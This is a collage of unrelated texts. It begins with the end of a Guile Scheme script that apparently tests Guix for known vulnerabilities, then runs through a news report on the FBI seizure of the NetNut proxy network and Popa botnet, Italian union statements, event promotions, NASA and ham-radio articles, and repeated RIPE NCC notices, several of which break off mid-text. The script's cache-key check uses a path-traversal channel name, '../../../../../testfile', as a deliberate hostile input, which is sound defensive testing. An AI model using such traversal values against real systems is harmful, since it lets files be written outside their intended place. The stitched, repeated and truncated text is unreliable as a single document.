     intro-commit
     end-commit)))

(define (cache-key-vuln?)
  (call-with-temporary-directory
   (lambda (directory)
     (let ((home (string-append directory "/home"))
           (channel-repo (string-append directory "/channel-repo"))
           (testfile (string-append directory "/testfile")))
       (mkdir home)
       (mkdir channel-repo)
       (with-environment-variables `(("HOME" ,home)
                                     ("XDG_CACHE_HOME" ,(string-append home
                                                                       "/.cache")))
         (call-with-values
             (lambda ()
               (create-test-channel channel-repo
                                    (string->symbol "../../../../../testfile")))
           (lambda (channel first-commit last-commit)
             (authenticate-channel channel channel-repo last-commit
                                   #:keyring-reference-prefix "")))
         (file-exists? testfile))))))

;; Results

(define vulnerabilities
  (list (list "restore-file" restore-file-vuln?)
        (list "fetch-narinfos" fetch-narinfos-vuln?)
        (list "file-uris" file-uris-vuln?)
        (list "cache-key" cache-key-vuln?)))

(define (call-with-errors-to-string proc)
  (define tag (make-prompt-tag))
  (call-with-prompt tag
    (lambda ()
      (with-throw-handler #t
        proc
        (rec (self key . args)
             (let* ((stack (make-stack #t
                                       1 ;self ;; Causes make-stack to return #f??
                                       tag
                                       ))
                    (frames (stack-length stack))
                    (frame (stack-ref stack 0)))
               (define error-string
                 (match args
                   (((or (? string? proc) (? symbol? proc))
                     (? string? message) (args ...) . rest)
                    (call-with-output-string
                      (lambda (port)
                        (display-error frame port proc message args
                                       rest))))
                   (args
                    (call-with-output-string
                      (lambda (port)
                        (print-exception port frame key args))))))

               (display-backtrace stack (current-error-port))
               (display error-string (current-error-port))
               (abort-to-prompt tag (string-append "error: "
                                                   (string-trim-both
                                                    error-string)))))))
    (lambda (_ . args)
      (apply values args))))

(define results
  (map (match-lambda
         ((name proc)
          (list name (if (string? proc)
                         proc ;; pass message through
                         (call-with-errors-to-string proc)))))
       vulnerabilities))

(for-each (match-lambda
            ((name vulnerable?)
             (format #t "~a: ~a~%"
                     name
                     (if (boolean? vulnerable?)
                         (if vulnerable? "vulnerable" "not vulnerable")
                         vulnerable?))))
          results)

(exit (if (any second results) 1 0))
  •  

FBI Seizes NetNut Proxy Platform, Popa Botnet

The Federal Bureau of Investigation (FBI) said today it worked with industry partners to seize hundreds of domains associated with NetNut, a sprawling residential proxy service operated by the publicly-traded Israeli company Alarum Technologies [NASDAQ: ALAR]. The action comes roughly two weeks after KrebsOnSecurity published findings from multiple security firms connecting NetNut to the Popa botnet, a collection of at least two million devices that have been compromised by malicious software with little or no consent from victims.

The NetNut homepage today was replaced by this seizure banner from the FBI.

On June 19, three different security firms issued similar findings: That NetNut is a residential proxy network which populates a botnet called Popa, and distributes software for devices commonly found in homes, such as smart TVs and streaming boxes. NetNut’s software turns those systems into always-on residential proxy nodes that are rented to others, who predominantly use them to relay abusive and intrusive Internet traffic, such as mass content scraping, advertising fraud, and account takeover activity.

Earlier today, NetNut’s homepage was replaced with a seizure notice from the FBI and the Internal Revenue Service Criminal Investigation division. The seizure notice thanked Google, Lumen, Shadowserver and other industry partners for their help in dismantling hundreds of domains tied to the Popa botnet, which experts say has long been synonymous with NetNut’s residential proxy infrastructure.

In a blog post published today, the Google Threat Intelligence Group (GTIG) said NetNut’s proxy network is widely resold and white-labeled by a number of third-party proxy providers, and that its services are heavily sought out by cybercriminals seeking to obfuscate the source of their malicious traffic. The GTIG said that in a single week during June 2026, they observed 316 distinct clusters of threat actors using suspected NetNut exit nodes, including cybercriminal and espionage groups.

“These bad actors can use NetNut to mask their origin IP address when accessing victim environments, accessing their own infrastructure, and conducting password spray attacks,” Google’s GTIG wrote. “Furthermore, when a consumer device becomes an exit node, unauthorized network traffic passes through it. This means bad actors can access other private devices on the same home network, effectively exposing them to Internet threats.”

Google said it disabled Google accounts and services used by NetNut for malware command and control, and that it shared technical intelligence on NetNut’s software development kits (SDKs) and backend infrastructure with platform providers, law enforcement and research firms. The company also disabled apps known to bundle NetNut’s various SDKs.

Omer Weiss, legal counsel for NetNut parent Alarum Technologies, said the company was aware of the FBI seizure and cooperating with investigators.

“Alarum takes this matter seriously and will fully cooperate with law enforcement to ensure any misuse of its infrastructure is thoroughly investigated and those responsible are held to account,” Weiss said in a written statement.

Benjamin Brundage is founder of the proxy tracking service Synthient, one of the companies that published evidence last month linking the Popa botnet to NetNut and Alarum Technologies. Brundage said the domain seizures appear to have disrupted both the Popa botnet and the NetNut proxy network that rides on top of it.

Brundage said NetNut’s apparent demise is likely to be a great disadvantage for the cybercrime community, which was already reeling from legal actions by Google earlier this year that seized infrastructure for NetNut’s biggest competitor — IPIDEA.

“I think this takedown is going to have a big impact, because NetNut gained significant popularity after the IPIDEA takedown,” he said. “Also NetNut has been incredibly common among resellers, and they were on par with IPIDEA in terms of their daily traffic, quality, size, price per gigabyte, all of it.”

NetNut’s infrastructure, in a nutshell. Image: Black Lotus Labs, Lumen.

The NetNut and Popa botnet takedown may have another added benefit, Brundage said: Lessening the impact of large distributed denial-of-service botnets that have been built on the backs of poorly configured residential proxy services. In January, Synthient revealed how cybercriminals had built the world’s largest DDoS botnet (Kimwolf) by tunneling through IPIDEA proxy connections into the local networks of TV box owners, and infecting other Android-based devices behind the victim’s firewall.

While many of the bigger proxy providers took steps to block this activity, resellers of the major proxy networks have been far slower to respond to the threat, Brundage said.

“In terms of all these TV box devices getting compromised from the proxy network, it will have an impact on the DDoS botnets out there,” he said.

For its part, Google reckons today’s actions have caused “significant degradation to NetNut’s proxy network and its business operations, reducing the available pool of devices for the proxy operator by millions.” But the company warns that proxy networks can rebuild themselves by effectively reselling other proxy services, as IPIDEA has done over the past few months.

“Google has high confidence that many popular residential proxy brands are in fact whitelabeling the NetNut botnet,” the GTIG report concludes. “While we expect this disruption to have a larger ripple effect across the residential proxy ecosystem, observations after the disruption of IPIDEA proved that individual networks can appear resilient. What we have observed is that when faced with the degradation of their own botnet, proxy operators begin buying capacity from their competitors, effectively becoming a reseller. We recognize that creating a lasting disruption in this fluid ecosystem means we must scale our efforts to target the infrastructure of several interconnected providers.”

As KrebsOnSecurity has warned repeatedly, most of the no-name TV streaming boxes for sale on the major e-commerce websites either come pre-installed with residential proxy software, or require the installation of proxy SDKs in order to use the device for its stated purpose (streaming pirated movies, sporting events and TV shows). Google’s advice here is sound: When it comes to TV boxes, stick to name brands from reputable manufacturers, and then be sparing and judicious with any apps you choose to install.

The sketchy TV boxes that are being commandeered by the Popa botnet and other threats all come with or require the user to install unofficial Android operating systems that do not operate within the confines of Google’s Official Play Protect store. Google says consumers can confirm whether or not a device is built with the official Android TV OS and Play Protect certification by following these instructions.

Even people without TV streaming boxes can find their smart TVs enrolled in residential proxy networks, just by installing one of thousands of apps available for download on Samsung and LG smart TVs. In a report released last month, the proxy tracking company Spur found 42 percent of apps available for download via the webOS operating system on LG smart TVs include SDKs that turn one’s television into an always-on residential proxy node. More than a quarter of the apps made for Samsung’s Tizen operating system had similar residential proxy components, Spur found.

Image: Spur.us.

Update, 4:24 p.m. ET: Included a statement shared post-publication from an attorney representing NetNut parent Alarum Technologies.

Update, July 8, 2:34 p.m. ET: The website for Alarum Technologies — alarum[.]io — now also features a seizure notice from the FBI. The company’s stock has taken a beating since the FBI action, and is currently trading at $2.62 a share, a roughly 67 percent decline over the past week.

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Good Morning, Earth!

A bright orange sunburst illuminates Earth's atmosphere during an orbital sunrise in this photograph from the International Space Station as it orbited 264 miles above the Caucasus Mountains.

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Piaggio : la chiamano responsabilità. Noi la chiamiamo resa.

Dal 1° luglio Piaggio aprirà l'ennesima procedura di solidarietà. Ancora una volta saranno gli operai a pagare il prezzo delle scelte aziendali, con meno salario e meno prospettive. Ma la situazione è ancora più grave.
Da domani iniziano le fermate delle linee in diversi reparti. Alcune produzioni termineranno già a metà luglio. Il lavoro manca. E non manca per una fatalità o per una crisi improvvisa. Manca perché da anni è assente una vera strategia industriale. Gli investimenti vengono rinviati, i nuovi progetti non arrivano e lo stabilimento viene lasciato vivere alla giornata, senza una prospettiva di rilancio.
Solo poche settimane fa si celebravano gli ottant'anni della Vespa. Discorsi, fotografie, autorità e applausi raccontavano l'eccellenza italiana e un marchio simbolo nel mondo. Finita la propaganda, però, resta la realtà: fermate produttive, solidarietà, salari che diminuiscono e un futuro sempre più incerto. È questa la distanza tra la narrazione e ciò che gli operai vivono ogni giorno.

Piaggio continua a utilizzare gli ammortizzatori sociali come uno strumento ordinario di gestione, trasferendo sui lavoratori e sulla collettività il costo delle proprie scelte. È inaccettabile che si continui a ricorrere alla solidarietà senza assumersi la responsabilità di rilanciare davvero il sito di Pontedera.
Per USB la solidarietà non può tradursi in un taglio dello stipendio. Se l'azienda sceglie questa strada, deve garantire l'integrazione salariale. Gli operai non possono diventare il bancomat a cui attingere ogni volta che vengono meno programmazione, investimenti e visione industriale.
Anche questa volta tutto viene deciso all'ultimo momento. I lavoratori vengono convocati quando le decisioni sono già state prese, senza un confronto reale e senza una trattativa vera. Si chiede soltanto di ratificare un accordo già scritto.

Negli anni questo metodo è stato presentato come responsabilità. In realtà ha finito per trasformare la responsabilità in semplice accettazione delle decisioni aziendali. Ogni sacrificio viene descritto come inevitabile, ogni arretramento come necessario, ogni accordo come il migliore possibile.
Ma il compito di un delegato sindacale non è accompagnare i lavoratori ad accettare nuovi sacrifici. È rappresentarli, difenderne il salario, contrastare le scelte sbagliate e pretendere investimenti e prospettive. Quando invece si firma tutto, si giustifica tutto e si invita sempre e soltanto ad avere pazienza, si smette di rappresentare gli operai e si finisce per assecondare un modello che punta a una fabbrica senza conflitto e a lavoratori sempre più ricattabili.


Gli accordi al ribasso non hanno salvato il futuro dello stabilimento. Lo hanno progressivamente indebolito. Ogni firma che ha ridotto diritti e tutele è stata giustificata in nome del domani.
Quel domani oggi è sotto gli occhi di tutti: esuberi, fermate produttive, solidarietà e assenza di una prospettiva industriale.
Anche la politica porta una responsabilità enorme. Quando c'è da inaugurare una mostra sulla Vespa o partecipare a una celebrazione, le istituzioni sono sempre presenti. Quando invece occorre pretendere investimenti, difendere l'occupazione e chiedere conto delle scelte industriali della proprietà, prevalgono il silenzio e l'inerzia. Da anni Comune, Regione e Governo assistono senza intervenire al progressivo indebolimento dello stabilimento. Si evita di mettere in discussione la proprietà e di aprire un confronto serio sul futuro industriale di Pontedera. Eppure è compito delle istituzioni pretendere un piano industriale credibile, vincolare gli incentivi pubblici agli investimenti e garantire un confronto permanente sul futuro produttivo del territorio. Il lavoro si difende con gli atti, non con le fotografie.
Per questo non possiamo accettare che gli ammortizzatori sociali diventino una componente strutturale del modello Piaggio, né che siano sempre gli operai a pagare il prezzo delle scelte aziendali. Allo stesso modo, il sindacato non può ridursi a certificare decisioni già prese. Serve rompere un equilibrio costruito sul silenzio, sulla rassegnazione e sulla continua ricerca della pace sociale.

La storia del movimento operaio insegna una cosa semplice: nessun diritto è stato regalato. Tutto è stato conquistato attraverso il conflitto. Chi rinuncia al conflitto finisce inevitabilmente per accettare l'arretramento dei diritti e le decisioni dell'azienda. Ed è proprio questa scelta a rendere sempre più evidente da quale parte si decide di stare. Chi oggi invita ad abbassare la testa non sta difendendo il lavoro. Sta soltanto rendendo più semplice il compito di chi vuole continuare a ridurre salari, diritti e occupazione.
Per questo il primo passo è ricostruire partecipazione, consapevolezza e organizzazione. È il momento di scegliere da che parte stare. Noi, come sempre, stiamo dalla parte degli operai.

CHI FIRMA LA RESA È PARTE DEL PROBLEMA.
I DIRITTI NON SI FIRMANO. SI CONQUISTANO CON LA LOTTA.

RSU USB PIAGGIO

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Comunicato congiunto: Sottomarini da guerra nel nostro porto? Ferma opposizione anche durante l’incontro con il presidente dell’Autorità di Sistema Portuale

Nella giornata di ieri una delegazione dei collettivi, sindacati e partiti che da anni lottano contro la militarizzazione del nostro porto e la complicità della nostra città con le guerre americane e israeliane ha incontrato il presidente dell’Autorità di Sistema Davide Gariglio e il dirigente demanio portuale Marilli. Incontro richiesto durante la recente manifestazione di protesta davanti a Palazzo Rosciano.
Abbiamo nuovamente espresso la nostra forte opposizione rispetto alla possibilità che l’azienda Drass, che dovrà produrre sottomarini da guerra per il governo indonesiano, possa ricevere in concessione spazi del nostro porto per i test di questi sottomarini.
Sappiamo inoltre che le concessioni per gli spazi che si stanno liberando in porto verranno rilasciate per periodi che raggiungono anche i dieci anni, motivo di ulteriore preoccupazione qualora aziende impegnate nella filiera bellica dovessero appropriarsene, rendendo di fatto il nostro porto luogo di produzione e test di mezzi destinati alla guerra.
Le ragioni che sono state espresse, a sostegno della nostra posizione, non hanno solo un carattere etico e politico. Basterebbero quelle. Ma anche economiche ed occupazionali. I traffici e le attività civili, ormai è ampiamente noto, hanno un’incidenza occupazionale ben maggiore. Inoltre, vi sono anche ragioni legate alla sicurezza dei lavoratori portuali e non solo.
Al netto di quali saranno le decisioni dell’Autorità e i bandi di assegnazione che usciranno siamo pronte e pronti a dare battaglia come tante altre volte, ricordando sempre che la guerra non è fatta solo di bombe e proiettili, ma anche e soprattutto di logistica, mezzi di trasporto e demolizione, come i caterpillar israeliani che fermammo a settembre al molo Italia.

 
Potere al Popolo
Attac Livorno
USB Livorno

 

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Jurassic World a Milano: unica tappa italiana


C’è un nuovo motivo per fare un salto a Milano Sesto quest’estate.
Ha aperto Jurassic World: The Experience, la grande esperienza immersiva ufficiale dedicata alla celebre saga cinematografica che trasporta i visitatori nel mondo di Isla Nublar, tra dinosauri a grandezza naturale, scenografie spettacolari e ambientazioni ispirate ai film.

Dopo aver conquistato città come Londra, Madrid e Bangkok, l’esperienza arriva per la prima volta in Italia e sceglie MilanoSesto, a Sesto San Giovanni, come unica tappa italiana. L’evento sarà visitabile fino al 10 gennaio 2027.

Un viaggio nel mondo di Jurassic World
Non si tratta di una semplice mostra. Jurassic World: The Experience è un percorso immersivo che permette di entrare nelle ambientazioni iconiche della saga cinematografica, incontrando dinosauri animatronici a grandezza naturale e ricostruzioni fedeli dei laboratori e delle aree del parco.

Durante la visita si attraversano alcune delle location più famose del film. Tra queste ci sono gli iconici cancelli di Jurassic World, il laboratorio di creazione dei dinosauri e la valle popolata da gigantesche creature preistoriche. Inoltre, non mancano effetti speciali, suoni e scenografie che rendono l’esperienza ancora più coinvolgente.

Un’esperienza per grandi e piccoli
L’attrazione è pensata per tutta la famiglia. I bambini potranno osservare da vicino dinosauri come il Triceratopo, il Velociraptor e il maestoso Tyrannosaurus Rex, mentre gli adulti ritroveranno le atmosfere della saga cinematografica iniziata con Jurassic Park.

Grazie agli animatronici, agli effetti sonori e alle installazioni interattive, la visita permette di vivere un’avventura che va oltre la classica esposizione museale. Per questo motivo è una delle esperienze più attese dell’estate nell’area milanese.

Dove si trova e quando visitarla
Jurassic World: The Experience è allestita nell’area MilanoSesto, in viale Italia 576 a Sesto San Giovanni.

Per prenotare è possibile consultare il sito ufficiale dell’esperienza:
https://jurassicworldexperience.com/it/

Credits Photo
sito Jurassicworldexperience.com

Info Milano

L'articolo Jurassic World a Milano: unica tappa italiana proviene da InfoMilano.news.

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Installare Mailman3 in un server con qmail e vpopmail

Mailman è un software libero per la gestione delle discussioni via mail e le liste di distribuzione. Mailman è integrato con il web, al fine di semplificare agli utenti la gestione degli account e agli ai proprietari (owners) l'amministrazione delle liste. Mailman comprende come parte integrante il sistema di archiviazione, il processamento automatico dei rimbalzi (bounce), il filtro dei contenuti, la spedizione dei digest, filtri anti spam, e altro.

Mailman è un software libero distribuitosotto la GNU General Public License, e scritto nel linguaggio di programmazione Python.

Indice

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ALLE SORGENTI DEL BUDDHISMO

Esiste un paradosso singolare che caratterizza il nostro tempo. Mai come oggi il Buddha è stato così conosciuto. E forse mai come oggi è stato così poco letto. Le sue immagini sono ovunque. Le sue parole vengono continuamente citate. La meditazione è entrata nella cultura occidentale; il Buddhismo è diventato oggetto di interesse per psicologi, […]

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CALDO ESTREMO A LAVORO. MALORI, INTERRUZIONE DELLE ATTIVITA’ E DECINE DI DENUNCE. USB: SERVE UN MECCANISMO AUTOMATICO A TUTELA DEI LAVORATORI

Negli ultimi giorni USB Livorno ha inviato decine di segnalazioni, diffide e denunce agli organi competenti in merito al rischio elevato di stress termico per i lavoratori. Parliamo principalmente di piazzali all’aperto e capannoni industriali.
Sono già diversi i malori registrati, almeno due presso la fabbrica Trelleborg in via March e su un piazzale gestito dalla Porto2000.
In porto, per ben due volte, lavoratori e RLS hanno interrotto temporaneamente le operazioni di carico cellulosa in stiva, dopo aver constatato temperature insopportabili. I'8 luglio si riunirà, presso l'Autorità di Sistema, il comitato salute e sicurezza proprio su questo tema.

Richieste di intervento urgente sono state inviate presso alcuni piazzali di logistica come MVN, magazzini, ad esempio DHL, Fondazione Goldoni, Solvay, Magna Closures Le richieste sono sempre le medesime ma trovano costantemente l’opposizione dei datori di lavoro. Sospensione delle attività, pause aggiuntive, locali idonei e attrezzati per abbattere le temperature durante lo stop alle attività, cambi turno e nei casi limite accesso alla cassa integrazione così come previsto dai protocolli.
Il riferimento chiaro è l’indice calcolato tra temperatura e umidità. Se si supera una certa soglia i lavoratori devono essere messi in sicurezza. Purtroppo, nella stragrande maggioranza dei casi, senza l’intervento tempestivo del sindacato o dei rappresentanti dei lavoratori per la sicurezza le aziende tendono a garantire la produzione a tutti i costi a discapito della salute e della sicurezza dei lavoratori.
In questo senso, oltre ad invitare i lavoratori e le lavoratrici a contattare la nostra organizzazione sindacale in caso di necessità, crediamo sia urgente prevedere meccanismi automatici di intervento in caso di rischio stress termico e relative sanzioni per le aziende che non rispettano le procedure. L’ordinanza regionale è limitata solo ad alcuni settori mentre nelle fabbriche e nei piazzali portuali e della logistica si mette a rischio la vita. Così come in tanti altri luoghi di lavoro.

Usb Livorno

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Weltmeisterschaft der Funkamateure naht

Am zweiten Juli-Wochenende funkt das Schweizer Nationalteam unter dem Rufzeichen HB9HQ um den Einzug in die Top Ten.

Am Samstag, 11. Juli 2026, exakt um 14.00 Uhr Schweizer Sommerzeit, fällt der Startschuss. 24 Stunden lang läuft die «IARU HF World Championship». Die USKA schickt wie jedes Jahr die Headquarter-Station HB9HQ ins Rennen, um die Schweiz im globalen Gesamtklassement möglichst weit nach vorne zu bringen. Ziel für 2026 ist das Knacken der Top-Ten-Ränge.

Strategie

Das Prinzip dieses sportlichen Grossereignisses verlangt strategisches Geschick. Die über 160 Landesverbände der International Amateur Radio Union schicken ihre HQ-Stationen auf die Jagd nach Punkten. In der Luft herrscht dann dichtes Gedränge. Wer HB9HQ anruft, loggt einen wertvollen Multiplikator. Die offiziellen Verbandsstationen senden neben dem üblichen Signalrapport das Kürzel ihrer Landesverbände, im Schweizer Fall also «USKA». Andere Nationen antworten mit «DARC», «ARRL» oder «JARL». Eine Besonderheit gilt für Funktionäre des Weltverbandes. Die Vorstands- und Aufsichtsratsmitglieder verteilen als Multiplikatoren ihre jeweilige Region. So sendet beispielsweise IARU Region 1-Kassier Andy HB9JOE den Zusatz «R1» für die IARU-Region 1.

Für alle gewöhnlichen Teilnehmerinnen und Teilnehmer gilt eine andere Regel. Sie tauschen im QSO neben der Signalstärke die ITU-Zone ihres Standorts aus. Wer von Schweizer Boden aus funkt, übergibt die Ziffer «28». Der Rapport lautet im Idealfall 5928 in Phonie oder 59928 in Telegrafie. Beim modernen Remote-Betrieb entscheidet übrigens nicht der Sitzplatz des Operateurs vor dem Bildschirm, sondern der physische Standort der Antenne, die das Signal in die Ionosphäre schickt.

Jedes QSO zählt

Der Erfolg des Schweizer Nationalteams hängt massiv von den hiesigen Funkamateurinnen und Funkamateuren ab. Jedes einzelne QSO aus der Schweiz stärkt dem Team den Rücken. Die genaue Aufteilung, welche Funkteams auf den Bändern von 160 bis 10 m in welchen Betriebsarten (CW und SSB) das Rufzeichen HB9HQ benützen, ist auf der USKA-Website aufgeführt. Wer teilnimmt, sammelt Punkte für das beliebte HB9HQ-Award, das die USKA wieder in vier Leistungsklassen ausgibt.

Einsatzplan HQ-Contest

Weitere nützliche Links:

Viel Glück

Andy, HB9JOE
Leiter Radiosports der USKA

Published: HB9HGH 2026-07-01 15:02:14

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Virtual NIXIE Display con xTool F2 ULTRA UV

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L'Editoriale di luglio/agosto 2026

A un anno dall'insediamento
Gianluca Mazzini, IK4LZH

Siamo arrivati al primo anno dall’insediamento di questo Consiglio Direttivo Nazionale. Un anno certamente non semplice. E, devo dirlo con sincerità, anche abbastanza diverso da come me lo ero immaginato. Pensavo che avremmo potuto concentrare molte energie sull’innovazione, sulle novità, su nuovi progetti, muovendoci in uno scenario consolidato e relativamente ordinato. Invece ci siamo trovati, molto più spesso, a doverci occupare della gestione quotidiana, dell’ordinario, delle pendenze, delle urgenze, delle tante piccole e grandi cose che permettono all’Associazione di funzionare.
Credo sia giusto parlarne. Anzi, credo sia doveroso.
Perché siamo volontari. Tutti noi prendiamo le attività del CDN per quello che sono: un servizio reso all’Associazione, accanto al nostro lavoro, ai nostri affetti, alle nostre famiglie, alle nostre attività personali. E accanto alla nostra passione, che resta prima di tutto la radio. Prima dell’associazionismo, prima della gestione, prima delle carte, delle email, dei verbali, dei conti, delle scadenze.
La radio è il motivo per cui siamo qui.
Con questa premessa, è doveroso parlare anche delle ragazze e dei ragazzi di ARI. Sono splendidi. E se molte cose funzionano, funzionano grazie a loro.
Un tempo erano molti di più. Poi, con gli anni, il numero delle persone operative è diminuito, per motivi diversi, non sempre facili da capire fino in fondo. Anche quando, nelle gestioni precedenti, si è cercato di rafforzare la struttura, non è stato semplice riuscirci. Non per disattenzione, ma per oggettiva complessità.


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A Day of Flight Testing at NASA Armstrong

3 min read

Preparations for Next Moonwalk Simulations Underway (and Underwater)

Two men wearing tan flight suits face each other and walk on a concrete surface. The men both carry pilot helmet bags with flight gear inside. Both men are wearing green flight gear.
NASA flight test engineer A.J. Jaffe and pilot Nils Larson walk on the ramp before a flight Tuesday, Jan. 13, 2026, at NASA’s Armstrong Flight Research Center in Edwards, California. The two support the agency’s Crossflow Attenuated Natural Laminar Flow (CATNLF) project, which aims to lower fuel costs for future commercial aircraft by testing a scale-model wing designed to improve laminar flow.
NASA/Christopher LC Clark

Flight testing is a team sport. For nearly 80 years, teams at NASA’s Armstrong Flight Research Center in Edwards, California, have used flight testing to push the limits of aerodynamics and advance aviation.

Earlier this year, NASA’s Crossflow Attenuated Natural Laminar Flow (CATNLF) initiative tested a wing concept that would maximize the smooth flow of air known as laminar flow, which could lower fuel costs for future airliners. During flight testing, researchers strapped a scale-model CATNLF wing to the bottom of a NASA F-15 aircraft.

Here’s what a day of CATNLF flight testing looked like.

A NASA F-15 research aircraft is parked on a ramp at NASA’s Armstrong Flight Research Center in Edwards, California. Ground crew work beneath the aircraft on an experimental test article, resembling a ventral fin, mounted under the aircraft’s fuselage.
NASA ground crew prepares the agency’s F-15 research aircraft and Cross Flow Attenuated Natural Laminar Flow (CATNLF) test article ahead of its first high-speed taxi test on Tuesday, Jan. 12, 2026, at NASA’s Armstrong Flight Research Center in Edwards, California. The CATNLF design aims to reduce drag on wing surfaces to improve efficiency and, in turn, reduce fuel burn.
NASA/Christopher LC Clark

5 a.m. — Aircraft staging

Ground crews ready the aircraft for the mission. If the operation involves a chase plane — a second aircraft to monitor the test flight — it would also be prepared, along with its crew.  

6 a.m. — Crew brief

Pilots, engineers, maintenance techs, project leads, researchers, photographers, and videographers meet to review the flight’s goals, weather reports, and final details.

Six people sit at a long desk and face computer monitors. The person most in view, to the right of the frame, wears a green plaid button-down shirt and a red lanyard around his neck. Each person is wearing a headset with a microphone that connects to a computer.
NASA researchers Mike Frederick, right, and Michelle Banchy, left, along with Ashante Jordan and intern Phillip Nguyen, sit in a control room and prepare for a flight test Thursday, Jan. 29, 2026, at NASA’s Armstrong Flight Research Center in Edwards, California. The agency’s Crossflow Attenuated Natural Laminar Flow (CATNLF) project aims to lower fuel costs for future commercial aircraft by testing a scale-model wing designed to improve laminar flow.
NASA/Christopher LC Clark

6:30 a.m. — Control room checks, air crew suit-up

Researchers head to the control room to complete day-of checks, confirming all communications, displays, and instruments are functioning.

Pilots suit up in life support, including custom‑fit pressure suits, harnesses, helmets, and masks. If a photographer, videographer, or flight test engineer will be in the aircraft’s back seat, they do the same.

6:45 a.m.Air crew steps, control room preparations

The pilot completes preflight checks with the crew chief and technicians for the aircraft’s electrical systems. The pilot and the crew chief sign a flight preparedness report confirming the aircraft is ready to fly.

Inside the control room, the team prepares to monitor the flight using the same set of test cards, a step-by-step plan for the flight.

7 a.m.Pilot secured in jet

The pilot and backseat crew member climb into their seats, strap in, and secure any gear they’ve brought for the test. The pilot completes preflight ground checks.

7:15 a.m. — Aircraft taxi

The pilot communicates with the control tower and taxis to the runway. Control room teams at NASA Armstrong monitor the aircraft via radio.

7:30 a.m. — Takeoff

The pilot accelerates down the runway and, at the proper speed, pulls back on the stick to take off. Once airborne, the pilot coordinates with air traffic control at Edwards Air Force Base and the NASA Armstrong control room while flying to the designated test area.

A white and blue painted jet aircraft flies above a mountain range. A model wing hangs below the aircraft’s center line. The cockpit is closed and two pilots are visible inside with flight gear on.
A F-15 aircraft owned by NASA’s Armstrong Flight Research Center in Edwards, California, flies above a mountain range on Tuesday, April 21, 2026. The agency’s Crossflow Attenuated Natural Laminar Flow (CATNLF) test article is attached to the bottom of this F-15. This project aims to lower fuel costs for future commercial aircraft by testing a scale-model wing designed to improve laminar flow. 
NASA/Jim Ross

7:30 to 8:30 a.m. — Flight

At the test location, the team coordinates with the pilot on altitude, speed, and maneuvers. The test conductor relays each task, and the pilot completes them one-by-one. The pilot and control room monitor the performance of the hardware, instruments, aircraft, or software throughout the sequence. After completing the test points, the pilot returns to base.

8:45 a.m. — Landing, towing

The pilot lands and taxis to the ramp at NASA Armstrong, where the crew chief meets the jet. After the pilot exits, the aircraft is towed into the hangar for maintenance.

9:30 a.m. — Crew debrief

The pilot, project team, and mission controlstaff return to the briefing room tocapture lessons learned and document items for follow-up.

10 a.m. — Data download, second flight prep

Teams download flight data for analysis. If two flights are scheduled, preparations begin immediately for the second.

Four people walk toward a building on a concrete surface. Each person is wearing a flight harness, and other green flight gear, as well as a tan flight suit and tan boots. Each person also carries a flight helmet bag and other small bags with various flight gear inside.
Four NASA employees walk toward a hangar after a flight Thursday, Feb. 4, 2026, at NASA’s Armstrong Flight Research Center in Edwards, California. The team supports the agency’s Crossflow Attenuated Natural Laminar Flow (CATNLF) project, which aims to lower fuel costs for future commercial aircraft by testing a scale-model wing designed to improve laminar flow.
NASA/Christopher LC Clark
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"Cinema e guerra". Il nuovo libro di Federico Greco.

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Dopo "Cinema e potere" (2025), questo è il secondo volume tratto dalla rubrica di grande successo "Desaparecinema" di OttolinaTV.

ORDINALO QUI: https://poetsandsailors.com/shop/cinema-e-guerra/

Nell'epoca in cui l'Occidente si riarma per l'ennesima volta, Greco analizza il rapporto tra il cinema e la guerra in chiave estetica, storica, geopolitica e filosofica.
Uno sguardo acuto e senza sconti per decodificare un genere che ha avuto, fin dalle origini del cinema, un ruolo chiave come
strumento di propaganda.
Vadim Bottoni nella prefazione scrive: "Greco non si limita a denunciare il rapporto, pure documentato e storicamente rilevante, tra industria cinematografica, potere politico e apparati militari. Non si accontenta di mostrare come Hollywood abbia accompagnato, sostenuto o anticipato l’immaginario strategico degli Stati Uniti. Il punto più interessante del
volume è un altro: interrogare il cinema come dispositivo di formazione dell’immaginazione politica, cioè come luogo in cui la guerra viene
resa narrabile, accettabile, desiderabile o comunque inevitabile.”
In questa visione diviene chiaro come “Il campo di battaglia si prolunga nello schermo, e lo schermo non è un semplice riflesso del conflitto:
è uno dei luoghi in cui si combatte l’invisibile guerra cognitiva".
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Update: Approaching IPv4 Run-out

Today we allocated the last of our contiguous /22 IPv4 address blocks. We still have approximately one million addresses available, in the form of /23s and /24s, and we will continue making /22-equivalent allocations made up of these smaller blocks. Once we can no longer allocate the equivalent of a /22, we will announce that we have reached run-out. We expect this to occur in November 2019.
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Update: Approaching IPv4 Run-out

Today we allocated the last of our contiguous /22 IPv4 address blocks. We still have approximately one million addresses available, in the form of /23s and /24s, and we will continue making /22-equivalent allocations made up of these smaller blocks. Once we can no longer allocate the equivalent of a /22, we will announce that we have reached run-out. We expect this to occur in November 2019.
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Getting Ready for IPv4 Run-out

We currently have around 1.91 million IPv4 addresses remaining in our available pool. We expect to reach the end of this pool in the next few months, before the end of 2019. The exact date is not possible to predict as this depends on the rate at which new members/additional LIR accounts are opened.
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Getting Ready for IPv4 Run-out

We currently have around 1.91 million IPv4 addresses remaining in our available pool. We expect to reach the end of this pool in the next few months, before the end of 2019. The exact date is not possible to predict as this depends on the rate at which new members/additional LIR accounts are opened.
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RIPE NCC Days Baltics: Insights into Regional Resilience

On 3-4 June 2026, we convened in Riga, Latvia for RIPE NCC Days Baltics. 76 participants from nine countries participated in sessions covering important topics in network operations, with a special focus on resilience for a region that has seen repeated network disruptions in recent years.
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Un racconto per immagini 2025

Un racconto per immagini 2025

L’Istituto storico della Resistenza e dell’età contemporanea in Provincia di Livorno, quale centro di ricerca storica e di conservazione del patrimonio bibliotecario e archivistico, presenta le iniziative realizzate sul territorio nel corso del 2025. Questo in continuità con le nostre principali finalità: la ricerca e la divulgazione storica e culturale, l’attività di didattica e di formazione, l’incremento e la custodia del patrimonio documentario.

Un racconto per immagini 2025

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Il giardino nascosto di Palazzo Cordusio si trasforma con il Café Swarovski

Per tutta la stagione estiva, nel centro di Milano, arriva una nuova destinazione pensata per chi ama il design e gli aperitivi all’aria aperta. All’interno del cortile di Palazzo Cordusio Gran Meliá ha aperto il Café Swarovski, un esclusivo pop-up estivo che veste il Giardino Cordusio con un allestimento ispirato all’inconfondibile stile della celebre maison austriaca.

Un’esperienza estiva nel cuore della città

L’iniziativa sarà aperta fino alla fine di settembre ed è il risultato della collaborazione tra Swarovski e Palazzo Cordusio Gran Meliá, uno degli hotel di lusso più recenti del centro milanese.

Un’oasi verde a pochi passi dal Duomo

